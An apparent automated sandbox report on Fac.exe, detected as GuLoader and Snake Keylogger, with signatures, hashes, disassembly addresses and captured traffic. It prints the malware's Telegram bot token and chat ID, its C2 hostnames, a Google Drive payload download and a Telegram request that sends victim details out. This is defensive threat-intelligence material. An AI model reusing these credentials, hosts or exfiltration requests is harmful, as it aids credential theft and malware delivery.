Windows Analysis Report
Fac.exe

Overview

General Information

Sample name: Fac.exe
Analysis ID: 1557697
MD5: 54025d91662e8fa2169596cd35431cda
SHA1: 40e1c2fbc4ef47373dfd69a8853c18e5095d4cf1
SHA256: 82736a226e54e0314c4b4e9967ef45eddbfd6bdc4737bb7d0d6f23cf89bde33c
Infos:

Detection

GuLoader, Snake Keylogger
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus detection for URL or domain
Found malware configuration
Multi AV Scanner detection for submitted file
Yara detected GuLoader
Yara detected Snake Keylogger
Yara detected Telegram RAT
Switches to a custom stack to bypass stack traces
Tries to detect the country of the analysis system (by using the IP)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Uses the Telegram API (likely for C&C communication)
Allocates memory with a write watch (potentially for evading sandboxes)
Contains functionality for read data from the clipboard
Contains functionality to dynamically determine API calls
Contains functionality to shutdown / reboot the system
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected potential crypto function
Drops PE files
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample file is different than original file name gathered from version info
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Yara detected Credential Stealer

Classification

Name Description Attribution Blogpost URLs Link
CloudEyE, GuLoader CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye
Name Description Attribution Blogpost URLs Link
404 Keylogger, Snake Keylogger Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

AV Detection
barindex
Antivirus detection for URL or domain
Source: http://anotherarmy.dns.army:8081 Avira URL Cloud: Label: phishing
Source: http://aborters.duckdns.org:8081 Avira URL Cloud: Label: phishing
Found malware configuration
Source: 00000002.00000002.43474377171.0000000033C31000.00000004.00000800.00020000.00000000.sdmp Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "Telegram", "Token": "7511877228:AAEfdtsXiYLhmN4YbL4GOCHPaqlvykB-alc", "Chat_id": "7534008929", "Version": "4.4"}
Multi AV Scanner detection for submitted file
Source: Fac.exe ReversingLabs: Detection: 23%

Location Tracking
barindex
Tries to detect the country of the analysis system (by using the IP)
Source: unknown DNS query: name: reallyfreegeoip.org
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36C3D2A8 CryptUnprotectData, 2_2_36C3D2A8
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36C3D9F0 CryptUnprotectData, 2_2_36C3D9F0
Uses 32bit PE files
Source: Fac.exe Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
Uses insecure TLS / SSL version for HTTPS connection
Source: unknown HTTPS traffic detected: 104.21.67.152:443 -> 192.168.11.20:49770 version: TLS 1.0
Source: unknown HTTPS traffic detected: 142.251.41.14:443 -> 192.168.11.20:49767 version: TLS 1.2
Source: unknown HTTPS traffic detected: 142.250.72.97:443 -> 192.168.11.20:49768 version: TLS 1.2
Source: unknown HTTPS traffic detected: 149.154.167.220:443 -> 192.168.11.20:49786 version: TLS 1.2
Source: Fac.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: C:\Users\user\Desktop\Fac.exe Code function: 0_2_004065C7 FindFirstFileW,FindClose, 0_2_004065C7
Source: C:\Users\user\Desktop\Fac.exe Code function: 0_2_00405996 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose, 0_2_00405996
Source: C:\Users\user\Desktop\Fac.exe Code function: 0_2_00402868 FindFirstFileW, 0_2_00402868
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_00402868 FindFirstFileW, 2_2_00402868
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_004065C7 FindFirstFileW,FindClose, 2_2_004065C7
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_00405996 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose, 2_2_00405996
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 0015F45Dh 2_2_0015F2C0
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 0015F45Dh 2_2_0015F4AC
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 0015F45Dh 2_2_0015F52D
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 0015FC17h 2_2_0015F95F
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36C331E0h 2_2_36C32DC8
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36C3FB7Fh 2_2_36C3F8D8
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36C32C19h 2_2_36C32968
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then mov esp, ebp 2_2_36C3F641
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36C331E0h 2_2_36C32DC3
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36C30D0Dh 2_2_36C30B30
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36C31697h 2_2_36C30B30
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h 2_2_36C30040
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36C331E0h 2_2_36C3310E
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FBAA23h 2_2_36FBA6E8
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FB556Fh 2_2_36FB52C8
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FBB00Fh 2_2_36FBAD40
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FB25A7h 2_2_36FB2300
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FB189Fh 2_2_36FB15F8
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FB92A1h 2_2_36FB8FF8
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FBC2C6h 2_2_36FBBFF8
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FB0B97h 2_2_36FB08F0
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FB8597h 2_2_36FB82F0
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FB788Fh 2_2_36FB75E8
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FBE2B6h 2_2_36FBDFE8
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FB9C87h 2_2_36FB99E0
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FBB9A6h 2_2_36FBB6D8
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FB6277h 2_2_36FB5FD0
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FBD996h 2_2_36FBD6C8
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FB4867h 2_2_36FB45C0
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FB3B5Fh 2_2_36FB38B8
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FBF986h 2_2_36FBF6B8
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FB2E57h 2_2_36FB2BB0
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FB214Fh 2_2_36FB1EA8
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FBD076h 2_2_36FBCDA8
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FB1447h 2_2_36FB11A0
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FB8E47h 2_2_36FB8BA0
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FB073Fh 2_2_36FB0498
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FB813Fh 2_2_36FB7E98
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FBF066h 2_2_36FBED98
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FB7437h 2_2_36FB7190
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FBA537h 2_2_36FBA290
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FB982Fh 2_2_36FB9588
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FBC756h 2_2_36FBC488
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FB5E1Fh 2_2_36FB5B78
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FBE746h 2_2_36FBE478
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FB5117h 2_2_36FB4E70
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FB440Fh 2_2_36FB4168
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FBBE36h 2_2_36FBBB68
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FB3707h 2_2_36FB3460
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FB29FFh 2_2_36FB2758
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FBDE26h 2_2_36FBDB58
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FB1CF7h 2_2_36FB1A50
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FB0FEFh 2_2_36FB0D48
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FB89EFh 2_2_36FB8748
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FBB516h 2_2_36FBB248
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FBFE16h 2_2_36FBFB48
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FB02E7h 2_2_36FB0040
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FB7CE7h 2_2_36FB7A40
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FBA0DFh 2_2_36FB9E38
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FBD506h 2_2_36FBD238
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FBF4F6h 2_2_36FBF228
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FB59C7h 2_2_36FB5720
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FB4CBFh 2_2_36FB4A18
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FBCBE6h 2_2_36FBC918
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FB3FB7h 2_2_36FB3D10
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FB32AFh 2_2_36FB3008
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FBEBD6h 2_2_36FBE908
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FE64E0h 2_2_36FE61E8
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FE3076h 2_2_36FE2DA8
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FE22C6h 2_2_36FE1FF8
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FEBAF0h 2_2_36FEB7F8
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FE10BEh 2_2_36FE0DF0
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FE8FE8h 2_2_36FE8CF0
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FE42B6h 2_2_36FE3FE8
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FEFDE0h 2_2_36FEFAE8
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FED2D8h 2_2_36FECFE0
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FEA7D0h 2_2_36FEA4D8
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FE079Eh 2_2_36FE04D0
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FE7CC8h 2_2_36FE79D0
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FE3996h 2_2_36FE36C8
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FEEAC0h 2_2_36FEE7C8
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FEBFB8h 2_2_36FEBCC0
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FE5986h 2_2_36FE56B8
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FE94B0h 2_2_36FE91B8
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FE69A8h 2_2_36FE66B0
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FED7A0h 2_2_36FED4A8
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FEAC98h 2_2_36FEA9A0
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FE5066h 2_2_36FE4D98
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FE8190h 2_2_36FE7E98
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FEEF88h 2_2_36FEEC90
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FE2756h 2_2_36FE2488
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FEC480h 2_2_36FEC188
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FE154Eh 2_2_36FE1280
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FE9978h 2_2_36FE9680
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FE4747h 2_2_36FE4478
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FE6E70h 2_2_36FE6B78
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FEDC68h 2_2_36FED970
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FE1E36h 2_2_36FE1B68
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FEB160h 2_2_36FEAE68
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FE0C2Eh 2_2_36FE0960
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FE8658h 2_2_36FE8360
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FE3E26h 2_2_36FE3B58
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FEF450h 2_2_36FEF158
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FEC948h 2_2_36FEC650
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FE5EB7h 2_2_36FE5B48
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FE9E40h 2_2_36FE9B48
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FE030Eh 2_2_36FE0040
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FE7338h 2_2_36FE7040
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FE3506h 2_2_36FE3238
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FEE130h 2_2_36FEDE38
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FEB628h 2_2_36FEB330
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FE54F6h 2_2_36FE5228
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FE8B20h 2_2_36FE8828
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FEF918h 2_2_36FEF620
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FE2BE6h 2_2_36FE2918
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FECE10h 2_2_36FECB18
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FE19B7h 2_2_36FE1710
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FEA308h 2_2_36FEA010
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FE4BD6h 2_2_36FE4908
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FE7800h 2_2_36FE7508
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 36FEE5F8h 2_2_36FEE300
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 37001B20h 2_2_37001828
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 37000800h 2_2_37000508
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 37001658h 2_2_37001360
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 37000CC8h 2_2_370009D0
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 37000339h 2_2_37000040
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then jmp 37001190h 2_2_37000E98
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then lea esp, dword ptr [ebp-04h] 2_2_37043E61
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then lea esp, dword ptr [ebp-04h] 2_2_37043E70
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then lea esp, dword ptr [ebp-04h] 2_2_37040A00
Source: C:\Users\user\Desktop\Fac.exe Code function: 4x nop then lea esp, dword ptr [ebp-04h] 2_2_37040A10

Networking
barindex
Uses the Telegram API (likely for C&C communication)
Source: unknown DNS query: name: api.telegram.org
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /xml/191.96.150.191 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/191.96.150.191 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/191.96.150.191 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/191.96.150.191 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/191.96.150.191 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/191.96.150.191 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/191.96.150.191 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/191.96.150.191 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/191.96.150.191 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:855271%0D%0ADate%20and%20Time:%2018/11/2024%20/%2016:31:29%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20855271%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View IP Address: 104.21.67.152 104.21.67.152
Source: Joe Sandbox View IP Address: 193.122.6.168 193.122.6.168
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
May check the online IP address of the machine
Source: unknown DNS query: name: checkip.dyndns.org
Source: unknown DNS query: name: reallyfreegeoip.org
Suricata IDS alerts with low severity for network traffic
Source: Network traffic Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.11.20:49772 -> 193.122.6.168:80
Source: Network traffic Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.11.20:49769 -> 193.122.6.168:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.11.20:49771 -> 104.21.67.152:443
Source: Network traffic Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49767 -> 142.251.41.14:443
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /uc?export=download&id=1Agb6c2PBuU8CPrXOngOV7_bHJQ4DUnt- HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /download?id=1Agb6c2PBuU8CPrXOngOV7_bHJQ4DUnt-&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Uses insecure TLS / SSL version for HTTPS connection
Source: unknown HTTPS traffic detected: 104.21.67.152:443 -> 192.168.11.20:49770 version: TLS 1.0
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global traffic HTTP traffic detected: GET /uc?export=download&id=1Agb6c2PBuU8CPrXOngOV7_bHJQ4DUnt- HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /download?id=1Agb6c2PBuU8CPrXOngOV7_bHJQ4DUnt-&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/191.96.150.191 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/191.96.150.191 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/191.96.150.191 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/191.96.150.191 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/191.96.150.191 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/191.96.150.191 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/191.96.150.191 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/191.96.150.191 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/191.96.150.191 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:855271%0D%0ADate%20and%20Time:%2018/11/2024%20/%2016:31:29%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20855271%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
